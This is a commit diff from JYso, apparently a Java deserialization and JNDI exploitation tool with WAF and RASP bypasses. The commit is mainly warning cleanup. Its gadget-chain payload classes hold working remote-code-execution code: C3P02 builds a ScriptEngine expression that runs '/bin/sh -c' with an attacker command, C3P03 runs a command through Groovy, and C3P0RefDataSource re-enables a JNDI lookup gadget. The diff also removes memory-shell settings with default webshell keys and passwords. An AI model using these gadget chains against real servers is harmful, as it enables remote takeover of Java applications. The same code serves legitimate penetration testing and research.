fix：修复大量IDEA给出的告警，提高代码健壮性

README.md

@@ -1,16 +1,16 @@
-<p align="center">
+<p style="text-align: center;">
-  <img src="docs/img/logo.png" width="120">
+  <img src="docs/img/logo.png" width="465" alt="">
 </p>
-<h1 align="center"> JYso </h1>
+<h1 style="text-align: center;"> JYso </h1>
 
-<p align="center">
+<p style="text-align: center;">
-<img src="https://img.shields.io/badge/JDK-1.8+-orange" />
+<img src="https://img.shields.io/badge/JDK-1.8+-orange"  alt=""/>
-<img src="https://img.shields.io/badge/gradle-8.7-blue" />
+<img src="https://img.shields.io/badge/gradle-8.7-blue"  alt=""/>
-<img src="https://img.shields.io/badge/SDL-Groovy-green" />
+<img src="https://img.shields.io/badge/SDL-Groovy-green"  alt=""/>
 
-<p align="center"> 可以同时当做 ysoserial 与 JNDIExploit 使用的工具，同时具备多种JNDI高版本、WAF、RASP的Bypass功能 </p>
+<p style="text-align: center;"> 可以同时当做 ysoserial 与 JNDIExploit 使用的工具，同时具备多种JNDI高版本、WAF、RASP的Bypass功能 </p>
 
-<p align="center"> 中文文档 | <a href="README.en.md">English</a> </p>
+<p style="text-align: center;"> 中文文档 | <a href="README.en.md">English</a> </p>
 
 ## 🚀 上手指南
 
@@ -53,7 +53,7 @@
 
 ## ✨ CTStack
 
-<img src="https://ctstack-oss.oss-cn-beijing.aliyuncs.com/CT%20Stack-2.png" width="30%" />
+<img src="https://ctstack-oss.oss-cn-beijing.aliyuncs.com/CT%20Stack-2.png" width="30%"  alt=""/>
 
 JYso 现已加入 [CTStack](https://stack.chaitin.com/tool/detail/1303) 社区
 

src/main/java/com/qi4l/JYso/controllers/BasicController.java

@@ -5,7 +5,6 @@ import com.qi4l.JYso.exceptions.IncorrectParamsException;
 import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
 import com.qi4l.JYso.gadgets.Config.Config;
 import com.qi4l.JYso.gadgets.utils.Gadgets;
-import com.qi4l.JYso.gadgets.utils.InjShell;
 import com.qi4l.JYso.gadgets.utils.Utils;
 import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
 import com.qi4l.JYso.template.Meterpreter;

src/main/java/com/qi4l/JYso/exploit/RMIBindExploit.java

@@ -18,7 +18,7 @@ import java.rmi.server.Operation;
 import java.rmi.server.RemoteObject;
 import java.rmi.server.RemoteRef;
 import java.util.*;
-
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 public class RMIBindExploit {
 
 

src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver.java

@@ -11,11 +11,11 @@ import org.apache.commons.collections.map.LazyMap;
 
 import java.io.Serializable;
 import java.lang.reflect.Constructor;
-import java.lang.reflect.Field;
-import java.util.HashMap;
-import java.util.HashSet;
 import java.util.Map;
 
+import static com.qi4l.JYso.gadgets.AspectJWeaver2.getSerializableCC6;
+
+
 /**
  * Gadget chain:
  * HashSet.readObject()
@@ -37,10 +37,9 @@ import java.util.Map;
  * <a href="https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5">...</a>
  */
 
-@SuppressWarnings({"rawtypes", "unchecked"})
+@SuppressWarnings("unused")
 @Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
 @Authors({Authors.JANG})
-
 public class AspectJWeaver implements ObjectPayload<Serializable> {
 
     public Serializable getObject(String command) throws Exception {
@@ -52,49 +51,14 @@ public class AspectJWeaver implements ObjectPayload<Serializable> {
         String[] parts = command.split(":");
         String filename = parts[0];
         byte[] content = Base64.decodeBase64(parts[1]);
-
         Constructor<?> ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
+
         Object simpleCache = ctor.newInstance(".", 12);
         Transformer ct = new ConstantTransformer(content);
-        Map lazyMap = LazyMap.decorate((Map) simpleCache, ct);
+
+        Map<?,?> lazyMap = LazyMap.decorate((Map<?,?>) simpleCache, ct);
         TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
-        HashSet map = new HashSet(1);
-        map.add("QI4L");
-        Field f;
-        try {
-            f = HashSet.class.getDeclaredField("map");
-        } catch (NoSuchFieldException e) {
-            f = HashSet.class.getDeclaredField("backingMap");
-        }
 
-        Reflections.setAccessible(f);
+        return getSerializableCC6(entry);
-        HashMap innimpl = (HashMap) f.get(map);
-
-        Field f2;
-        try {
-            f2 = HashMap.class.getDeclaredField("table");
-        } catch (NoSuchFieldException e) {
-            f2 = HashMap.class.getDeclaredField("elementData");
-        }
-
-        Reflections.setAccessible(f2);
-        Object[] array = (Object[]) f2.get(innimpl);
-
-        Object node = array[0];
-        if (node == null) {
-            node = array[1];
-        }
-
-        Field keyField;
-        try {
-            keyField = node.getClass().getDeclaredField("key");
-        } catch (Exception e) {
-            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
-        }
-
-        Reflections.setAccessible(keyField);
-        keyField.set(node, entry);
-
-        return map;
     }
 }

src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver2.java

@@ -22,7 +22,7 @@ import java.util.Map;
  * 使用 ConstantFactory + FactoryTransformer 替换 ConstantTransformer，避免，类似本项目中的 CC10
  */
 
-@SuppressWarnings({"rawtypes", "unchecked"})
+@SuppressWarnings({"unused"})
 @Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
 @Authors({Authors.QI4L})
 public class AspectJWeaver2 implements ObjectPayload<Serializable> {
@@ -37,31 +37,38 @@ public class AspectJWeaver2 implements ObjectPayload<Serializable> {
         String[] parts = command.split(";");
         String filename = parts[0];
         byte[] content = Base64.decodeBase64(parts[1]);
-
+        Constructor<?> ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
-        Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
         Object simpleCache = ctor.newInstance(".", 12);
 
         Factory ft = new ConstantFactory(content);
         Transformer ct = new FactoryTransformer(ft);
 
-        Map lazyMap = LazyMap.decorate((Map) simpleCache, ct);
+        Map<?,?> lazyMap = LazyMap.decorate((Map<?,?>) simpleCache, ct);
         TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
-        HashSet map = new HashSet(1);
+
+        return getSerializableCC6(entry);
+
+    }
+
+    static Serializable getSerializableCC6(TiedMapEntry entry) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
+        HashSet<String> map = new HashSet<>(1);
         map.add("QI4L");
-        Field f = null;
+        Field f;
         try {
             f = HashSet.class.getDeclaredField("map");
         } catch (NoSuchFieldException e) {
+            //noinspection JavaReflectionMemberAccess
             f = HashSet.class.getDeclaredField("backingMap");
         }
 
         Reflections.setAccessible(f);
-        HashMap innimpl = (HashMap) f.get(map);
+        HashMap<?,?> innimpl = (HashMap<?,?>) f.get(map);
 
-        Field f2 = null;
+        Field f2;
         try {
             f2 = HashMap.class.getDeclaredField("table");
         } catch (NoSuchFieldException e) {
+            //noinspection JavaReflectionMemberAccess
             f2 = HashMap.class.getDeclaredField("elementData");
         }
 
@@ -73,7 +80,7 @@ public class AspectJWeaver2 implements ObjectPayload<Serializable> {
             node = array[1];
         }
 
-        Field keyField = null;
+        Field keyField;
         try {
             keyField = node.getClass().getDeclaredField("key");
         } catch (Exception e) {
@@ -84,6 +91,5 @@ public class AspectJWeaver2 implements ObjectPayload<Serializable> {
         keyField.set(node, entry);
 
         return map;
-
     }
 }

src/main/java/com/qi4l/JYso/gadgets/BeanShell1.java

@@ -16,7 +16,7 @@ import java.util.PriorityQueue;
  * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
  */
 
-@SuppressWarnings({"rawtypes", "unchecked"})
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 @Dependencies({"org.beanshell:bsh:2.0b5"})
 @Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
 public class BeanShell1 implements ObjectPayload<PriorityQueue> {
@@ -30,10 +30,10 @@ public class BeanShell1 implements ObjectPayload<PriorityQueue> {
         InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
         Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
         PriorityQueue<Object> priorityQueue = new PriorityQueue(2, comparator);
-        Object[] queue = {Integer.valueOf(1), Integer.valueOf(1)};
+        Object[] queue = {1, 1};
 
         Reflections.setFieldValue(priorityQueue, "queue", queue);
-        Reflections.setFieldValue(priorityQueue, "size", Integer.valueOf(2));
+        Reflections.setFieldValue(priorityQueue, "size", 2);
         return priorityQueue;
     }
 }

src/main/java/com/qi4l/JYso/gadgets/BeanShell2.java

@@ -14,7 +14,7 @@ import java.util.PriorityQueue;
  * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
  */
 
-@SuppressWarnings({"rawtypes", "unchecked"})
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 @Dependencies({"org.beanshell:bsh:2.0b1"})
 @Authors({Authors.KILLER})
 public class BeanShell2 implements ObjectPayload<PriorityQueue> {
@@ -28,10 +28,10 @@ public class BeanShell2 implements ObjectPayload<PriorityQueue> {
         setu.invoke(i, "bsh.cwd", ".");
         i.eval(payload);
 
-        Class<?> xthis = Class.forName("bsh.XThis");
+        Class<?> xThis = Class.forName("bsh.XThis");
-        Field handlerField = xthis.getDeclaredField("invocationHandler");
+        Field handlerField = xThis.getDeclaredField("invocationHandler");
         handlerField.setAccessible(true);
-        Constructor<?> xthisDeclaredConstructor = xthis.getDeclaredConstructor(NameSpace.class, Interpreter.class);
+        Constructor<?> xthisDeclaredConstructor = xThis.getDeclaredConstructor(NameSpace.class, Interpreter.class);
         xthisDeclaredConstructor.setAccessible(true);
         Object xt = xthisDeclaredConstructor.newInstance(i.getNameSpace(), i);
         handlerField.setAccessible(true);

src/main/java/com/qi4l/JYso/gadgets/C3P0.java

@@ -6,14 +6,11 @@ import com.qi4l.JYso.gadgets.annotation.Authors;
 import com.qi4l.JYso.gadgets.annotation.Dependencies;
 import com.qi4l.JYso.gadgets.utils.Reflections;
 
-import javax.naming.NamingException;
 import javax.naming.Reference;
 import javax.naming.Referenceable;
 import javax.sql.ConnectionPoolDataSource;
 import javax.sql.PooledConnection;
 import java.io.PrintWriter;
-import java.sql.SQLException;
-import java.sql.SQLFeatureNotSupportedException;
 import java.util.logging.Logger;
 
 /**
@@ -30,6 +27,7 @@ import java.util.logging.Logger;
  * @author mbechler
  */
 
+@SuppressWarnings({"unused"})
 @Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11"})
 @Authors({Authors.MBECHLER})
 public class C3P0 implements ObjectPayload<Object> {
@@ -60,33 +58,33 @@ public class C3P0 implements ObjectPayload<Object> {
             this.url = url;
         }
 
-        public Reference getReference() throws NamingException {
+        public Reference getReference() {
             return new Reference("exploit", this.className, this.url);
         }
 
-        public PrintWriter getLogWriter() throws SQLException {
+        public PrintWriter getLogWriter() {
             return null;
         }
 
-        public void setLogWriter(PrintWriter out) throws SQLException {
+        public void setLogWriter(PrintWriter out) {
         }
 
-        public int getLoginTimeout() throws SQLException {
+        public int getLoginTimeout() {
             return 0;
         }
 
-        public void setLoginTimeout(int seconds) throws SQLException {
+        public void setLoginTimeout(int seconds) {
         }
 
-        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
+        public Logger getParentLogger() {
             return null;
         }
 
-        public PooledConnection getPooledConnection() throws SQLException {
+        public PooledConnection getPooledConnection() {
             return null;
         }
 
-        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
+        public PooledConnection getPooledConnection(String user, String password) {
             return null;
         }
 

src/main/java/com/qi4l/JYso/gadgets/C3P02.java

@@ -7,15 +7,12 @@ import com.qi4l.JYso.gadgets.annotation.Dependencies;
 import com.qi4l.JYso.gadgets.utils.Reflections;
 import org.apache.naming.ResourceRef;
 
-import javax.naming.NamingException;
 import javax.naming.Reference;
 import javax.naming.Referenceable;
 import javax.naming.StringRefAddr;
 import javax.sql.ConnectionPoolDataSource;
 import javax.sql.PooledConnection;
 import java.io.PrintWriter;
-import java.sql.SQLException;
-import java.sql.SQLFeatureNotSupportedException;
 import java.util.logging.Logger;
 
 import static com.qi4l.JYso.gadgets.utils.Utils.getJSEngineValue;
@@ -25,6 +22,7 @@ import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.generateClass;
  * C3P02 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入
  */
 
+@SuppressWarnings({"unused"})
 @Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35"})
 @Authors({Authors.QI4L})
 public class C3P02 implements ObjectPayload<Object> {
@@ -50,36 +48,36 @@ public class C3P02 implements ObjectPayload<Object> {
             this.cmd = cmd;
         }
 
-        public Reference getReference() throws NamingException {
+        public Reference getReference() {
             ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
             ref.add(new StringRefAddr("forceString", "QI4L=eval"));
             ref.add(new StringRefAddr("QI4L", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + cmd + "']).start()\")"));
             return ref;
         }
 
-        public PrintWriter getLogWriter() throws SQLException {
+        public PrintWriter getLogWriter() {
             return null;
         }
 
-        public void setLogWriter(PrintWriter out) throws SQLException {
+        public void setLogWriter(PrintWriter out) {
         }
 
-        public int getLoginTimeout() throws SQLException {
+        public int getLoginTimeout() {
             return 0;
         }
 
-        public void setLoginTimeout(int seconds) throws SQLException {
+        public void setLoginTimeout(int seconds) {
         }
 
-        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
+        public Logger getParentLogger() {
             return null;
         }
 
-        public PooledConnection getPooledConnection() throws SQLException {
+        public PooledConnection getPooledConnection() {
             return null;
         }
 
-        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
+        public PooledConnection getPooledConnection(String user, String password) {
             return null;
         }
     }

src/main/java/com/qi4l/JYso/gadgets/C3P03.java

@@ -7,21 +7,19 @@ import com.qi4l.JYso.gadgets.annotation.Dependencies;
 import com.qi4l.JYso.gadgets.utils.Reflections;
 import org.apache.naming.ResourceRef;
 
-import javax.naming.NamingException;
 import javax.naming.Reference;
 import javax.naming.Referenceable;
 import javax.naming.StringRefAddr;
 import javax.sql.ConnectionPoolDataSource;
 import javax.sql.PooledConnection;
 import java.io.PrintWriter;
-import java.sql.SQLException;
-import java.sql.SQLFeatureNotSupportedException;
 import java.util.logging.Logger;
 
 /**
  * 同 C3P0 2 只不过使用了 Groovy
  */
 
+@SuppressWarnings({"unused"})
 @Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.codehaus.groovy:groovy:2.3.9"})
 @Authors({Authors.QI4L})
 public class C3P03 implements ObjectPayload<Object> {
@@ -42,36 +40,36 @@ public class C3P03 implements ObjectPayload<Object> {
             this.cmd = cmd;
         }
 
-        public Reference getReference() throws NamingException {
+        public Reference getReference() {
             ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
             ref.add(new StringRefAddr("forceString", "QI4L=evaluate"));
             ref.add(new StringRefAddr("QI4L", "'" + cmd + "'.execute()"));
             return ref;
         }
 
-        public PrintWriter getLogWriter() throws SQLException {
+        public PrintWriter getLogWriter() {
             return null;
         }
 
-        public void setLogWriter(PrintWriter out) throws SQLException {
+        public void setLogWriter(PrintWriter out) {
         }
 
-        public int getLoginTimeout() throws SQLException {
+        public int getLoginTimeout() {
             return 0;
         }
 
-        public void setLoginTimeout(int seconds) throws SQLException {
+        public void setLoginTimeout(int seconds) {
         }
 
-        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
+        public Logger getParentLogger() {
             return null;
         }
 
-        public PooledConnection getPooledConnection() throws SQLException {
+        public PooledConnection getPooledConnection() {
             return null;
         }
 
-        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
+        public PooledConnection getPooledConnection(String user, String password) {
             return null;
         }
     }

src/main/java/com/qi4l/JYso/gadgets/C3P04.java

@@ -8,7 +8,6 @@ import com.qi4l.JYso.gadgets.utils.HexUtils;
 import com.qi4l.JYso.gadgets.utils.Reflections;
 import org.apache.naming.ResourceRef;
 
-import javax.naming.NamingException;
 import javax.naming.Reference;
 import javax.naming.Referenceable;
 import javax.naming.StringRefAddr;
@@ -18,8 +17,6 @@ import java.io.IOException;
 import java.io.PrintWriter;
 import java.nio.file.Files;
 import java.nio.file.Paths;
-import java.sql.SQLException;
-import java.sql.SQLFeatureNotSupportedException;
 import java.util.logging.Logger;
 
 /**
@@ -42,6 +39,7 @@ import java.util.logging.Logger;
  * C3P04 'jndi-ldap://x.x.x.x/evil'
  */
 
+@SuppressWarnings({"unused"})
 @Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.yaml:snakeyaml:1.30"})
 @Authors({Authors.QI4L})
 public class C3P04 implements ObjectPayload<Object> {
@@ -70,7 +68,7 @@ public class C3P04 implements ObjectPayload<Object> {
             this.cmd = cmd;
         }
 
-        public Reference getReference() throws NamingException {
+        public Reference getReference() {
 
             String yaml = "";
 
@@ -127,29 +125,29 @@ public class C3P04 implements ObjectPayload<Object> {
             return ref;
         }
 
-        public PrintWriter getLogWriter() throws SQLException {
+        public PrintWriter getLogWriter() {
             return null;
         }
 
-        public void setLogWriter(PrintWriter out) throws SQLException {
+        public void setLogWriter(PrintWriter out) {
         }
 
-        public int getLoginTimeout() throws SQLException {
+        public int getLoginTimeout() {
             return 0;
         }
 
-        public void setLoginTimeout(int seconds) throws SQLException {
+        public void setLoginTimeout(int seconds) {
         }
 
-        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
+        public Logger getParentLogger() {
             return null;
         }
 
-        public PooledConnection getPooledConnection() throws SQLException {
+        public PooledConnection getPooledConnection() {
             return null;
         }
 
-        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
+        public PooledConnection getPooledConnection(String user, String password) {
             return null;
         }
     }

src/main/java/com/qi4l/JYso/gadgets/C3P092.java

@@ -9,14 +9,11 @@ import javassist.ClassClassPath;
 import javassist.ClassPool;
 import javassist.CtClass;
 
-import javax.naming.NamingException;
 import javax.naming.Reference;
 import javax.naming.Referenceable;
 import javax.sql.ConnectionPoolDataSource;
 import javax.sql.PooledConnection;
 import java.io.PrintWriter;
-import java.sql.SQLException;
-import java.sql.SQLFeatureNotSupportedException;
 import java.util.logging.Logger;
 
 
@@ -24,6 +21,7 @@ import java.util.logging.Logger;
  * C3P0 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入
  */
 
+@SuppressWarnings({"unused"})
 @Dependencies({"com.mchange:c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8", "com.mchange:mchange-commons-java:0.2.11"})
 @Authors({Authors.MBECHLER})
 public class C3P092 implements ObjectPayload<Object> {
@@ -56,42 +54,42 @@ public class C3P092 implements ObjectPayload<Object> {
 
     private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
 
-        private String className;
+        private final String className;
 
-        private String url;
+        private final String url;
 
         public PoolSource(String className, String url) {
             this.className = className;
             this.url = url;
         }
 
-        public Reference getReference() throws NamingException {
+        public Reference getReference() {
             return new Reference("exploit", this.className, this.url);
         }
 
-        public PrintWriter getLogWriter() throws SQLException {
+        public PrintWriter getLogWriter() {
             return null;
         }
 
-        public void setLogWriter(PrintWriter out) throws SQLException {
+        public void setLogWriter(PrintWriter out) {
         }
 
-        public int getLoginTimeout() throws SQLException {
+        public int getLoginTimeout() {
             return 0;
         }
 
-        public void setLoginTimeout(int seconds) throws SQLException {
+        public void setLoginTimeout(int seconds) {
         }
 
-        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
+        public Logger getParentLogger() {
             return null;
         }
 
-        public PooledConnection getPooledConnection() throws SQLException {
+        public PooledConnection getPooledConnection() {
             return null;
         }
 
-        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
+        public PooledConnection getPooledConnection(String user, String password) {
             return null;
         }
     }

src/main/java/com/qi4l/JYso/gadgets/C3P0JDBC.java

@@ -9,16 +9,12 @@ import javax.management.BadAttributeValueExpException;
 import java.lang.reflect.Field;
 import java.util.HashMap;
 
+@SuppressWarnings({"unused"})
 @Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
 @Authors({Authors.UNAM4})
 public class C3P0JDBC implements ObjectPayload<Object> {
-    //private static  String cmd = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
-    //        "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
-    //        "java.lang.Runtime.getRuntime().exec('open -a calculator')\n" +
-    //        "$$\n";
     @Override
     public Object getObject(String command) throws Exception {
-
         if (!command.toLowerCase().startsWith("jdbc:")) {
             throw new Exception("Command format is: eviljdbcurl");
         }
@@ -36,7 +32,7 @@ public class C3P0JDBC implements ObjectPayload<Object> {
         valfield.setAccessible(true);
         valfield.set(val, jsonArray);
 
-        HashMap hashMap = new HashMap();
+        HashMap<ComboPooledDataSource, BadAttributeValueExpException> hashMap = new HashMap<>();
         hashMap.put(o, val);
         return hashMap;
     }

src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI.java

@@ -9,6 +9,7 @@ import javax.management.BadAttributeValueExpException;
 import java.lang.reflect.Field;
 import java.util.HashMap;
 
+@SuppressWarnings({"unused"})
 @Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
 @Authors({Authors.UNAM4})
 public class C3P0JNDI implements ObjectPayload<Object> {
@@ -33,7 +34,7 @@ public class C3P0JNDI implements ObjectPayload<Object> {
         valfield.setAccessible(true);
         valfield.set(val, jsonArray);
 
-        HashMap hashMap = new HashMap();
+        HashMap<Object, BadAttributeValueExpException> hashMap = new HashMap<>();
         hashMap.put(o, val);
         return hashMap;
     }

src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI2.java

@@ -9,6 +9,7 @@ import javax.management.BadAttributeValueExpException;
 import java.lang.reflect.Field;
 import java.util.HashMap;
 
+@SuppressWarnings({"unused"})
 @Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
 @Authors({Authors.UNAM4})
 public class C3P0JNDI2 implements ObjectPayload<Object> {
@@ -32,7 +33,7 @@ public class C3P0JNDI2 implements ObjectPayload<Object> {
         valfield.setAccessible(true);
         valfield.set(val, jsonArray);
 
-        HashMap hashMap = new HashMap();
+        HashMap<JndiRefConnectionPoolDataSource, BadAttributeValueExpException> hashMap = new HashMap<>();
         hashMap.put(o, val);
         return hashMap;
     }

src/main/java/com/qi4l/JYso/gadgets/C3P0RefDataSource.java

@@ -1,13 +1,15 @@
 package com.qi4l.JYso.gadgets;
 
+import com.qi4l.JYso.gadgets.utils.Reflections;
+
+@SuppressWarnings({"rawtypes", "unused"})
 public class C3P0RefDataSource implements ObjectPayload {
     @Override
     public Object getObject(String command) throws Exception {
-//        Object obj = Reflections.createWithoutConstructor(Class.forName("com.mchange.v2.c3p0.JndiRefForwardingDataSource"));
+        Object obj = Reflections.createWithoutConstructor(Class.forName("com.mchange.v2.c3p0.JndiRefForwardingDataSource"));
-//        // requires ordering
+        // requires ordering
-//        Reflections.setFieldValue(obj, "jndiName", command);
+        Reflections.setFieldValue(obj, "jndiName", command);
-//        Reflections.setFieldValue(obj, "loginTimeout", 0);
+        Reflections.setFieldValue(obj, "loginTimeout", 0);
-//        return obj;
+        return obj;
-        return null;
     }
 }

src/main/java/com/qi4l/JYso/gadgets/C3P0WrapperConnPool.java

@@ -14,6 +14,7 @@ import java.lang.reflect.InvocationTargetException;
 import java.net.URI;
 import java.util.Hashtable;
 
+@SuppressWarnings({"unused"})
 public class C3P0WrapperConnPool implements ObjectPayload<Object> {
     public static String makeC3P0UserOverridesString(String codebase, String clazz) throws ClassNotFoundException, NoSuchMethodException,
             InstantiationException, IllegalAccessException, InvocationTargetException, IOException {
@@ -33,7 +34,7 @@ public class C3P0WrapperConnPool implements ObjectPayload<Object> {
     @Override
     public Object getObject(String command) throws Exception {
         URI uri = new URI(command);
-        String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
+        String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
         WrapperConnectionPoolDataSource obj = Reflections.createWithoutConstructor(WrapperConnectionPoolDataSource.class);
         Reflections.setFieldValue(obj, "userOverridesAsString", makeC3P0UserOverridesString(args[0], args[1]));
         return obj;

src/main/java/com/qi4l/JYso/gadgets/Click1.java

@@ -45,7 +45,7 @@ import java.util.PriorityQueue;
  * by @artsploit
  */
 
-@SuppressWarnings({"rawtypes", "unchecked"})
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 @Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"})
 @Authors({Authors.ARTSPLOIT})
 public class Click1 implements ObjectPayload<Object> {

src/main/java/com/qi4l/JYso/gadgets/Clojure.java

@@ -28,6 +28,7 @@ import static com.qi4l.JYso.gadgets.annotation.Authors.JACKOFMOSTTRADES;
  * Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions
  */
 
+@SuppressWarnings({"unused"})
 @Dependencies({"org.clojure:clojure:1.8.0"})
 @Authors({JACKOFMOSTTRADES})
 public class Clojure implements ObjectPayload<Map<?, ?>> {

src/main/java/com/qi4l/JYso/gadgets/Config/Config.java

@@ -62,28 +62,6 @@ public class Config {
     public static Boolean IS_INHERIT_ABSTRACT_TRANSLET = false;
     //是否使用反射绕过RASP
     public static Boolean IS_OBSCURE = false;
-    // 各种方式的内存马映射的路径
-    public static String URL_PATTERN = "/qi4l";
-    // 是否使用落地文件的方式隐藏内存马
-    public static Boolean HIDE_MEMORY_SHELL = false;
-    // 是否生成内存马文件
-    public static Boolean GEN_MEM_SHELL = false;
-    // 内存马文件名
-    public static String GEN_MEM_SHELL_FILENAME = "";
-    // 落地文件姿势，1 charsets.jar 2 classes
-    public static int HIDE_MEMORY_SHELL_TYPE = 0;
-    // 内存马的密码MD5
-    public static String PASSWORD = "0f359740bd1cda99";
-    // Referer 校验
-    public static String HEADER_KEY = "Referer";
-    // 用于额外校验的 Http Header 值，默认值 https://QI4L.cn/
-    public static String HEADER_VALUE = "https://QI4L.cn/";
-    // 哥斯拉的 key，默认是 key
-    public static String GODZILLA_KEY = "3c6e0b8a9c15224a";
-    // 密码原文
-    public static String PASSWORD_ORI = "p@ssw0rd";
-    // 命令执行回显时，传递执行命令的 Header 头
-    public static String CMD_HEADER_STRING = "X-Token-Data";
     // 是否在序列化数据流中的 TC_RESET 中填充脏数据
     public static Boolean IS_DIRTY_IN_TC_RESET = false;
     public static Boolean IS_UTF_Bypass = false;
@@ -103,30 +81,9 @@ public class Config {
     // ScriptEngineManager 是否为 RHINO 引擎
     public static boolean USING_RHINO = false;
     public static ClassPool POOL = ClassPool.getDefault();
-    // 不同类型内存马的父类/接口与其关键参数的映射
-    public static HashMap<String, String> KEY_METHOD_MAP = new HashMap<>();
     @Parameter(names = {"-h", " --help"}, help = true, description = "Show this help")
     private static boolean help = false;
 
-    static {
-        // Servlet 型内存马，关键方法 service
-        KEY_METHOD_MAP.put("javax.servlet.Servlet", "service");
-        // Filter 型内存马，关键方法 doFilter
-        KEY_METHOD_MAP.put("javax.servlet.Filter", "doFilter");
-        // Listener 型内存马，通常使用 ServletRequestListener， 关键方法 requestInitializedHandle
-        KEY_METHOD_MAP.put("javax.servlet.ServletRequestListener", "requestInitializedHandle");
-        // Websocket 型内存马，关键方法 onMessage
-        KEY_METHOD_MAP.put("javax.websocket.MessageHandler$Whole", "onMessage");
-        // Tomcat Upgrade 型内存马，关键方法 accept
-        KEY_METHOD_MAP.put("org.apache.coyote.UpgradeProtocol", "accept");
-        // Tomcat Executor 型内存马，关键方法 execute
-        KEY_METHOD_MAP.put("org.apache.tomcat.util.threads.ThreadPoolExecutor", "execute");
-        // Spring Interceptor 型内存马，关键方法 preHandle
-        KEY_METHOD_MAP.put("org.springframework.web.servlet.handler.HandlerInterceptorAdapter", "preHandle");
-        // Webflux 内存马
-        KEY_METHOD_MAP.put("org.springframework.web.server.WebFilter", "executePayload");
-    }
-
     @SuppressWarnings({"InstantiationOfUtilityClass","HttpUrlsUsage"})
     public static void applyCmdArgs(String[] args) {
         //process cmd args
@@ -183,23 +140,6 @@ public class Config {
         Config.codeBase = "http://" + Config.ip + ":" + Config.httpPort + "/";
     }
 
-    public static void init() {
-        // Servlet 型内存马，关键方法 service
-        KEY_METHOD_MAP.put("javax.servlet.Servlet", "service");
-        // Filter 型内存马，关键方法 doFilter
-        KEY_METHOD_MAP.put("javax.servlet.Filter", "doFilter");
-        // Listener 型内存马，通常使用 ServletRequestListener， 关键方法 requestInitializedHandle
-        KEY_METHOD_MAP.put("javax.servlet.ServletRequestListener", "requestInitializedHandle");
-        // Websocket 型内存马，关键方法 onMessage
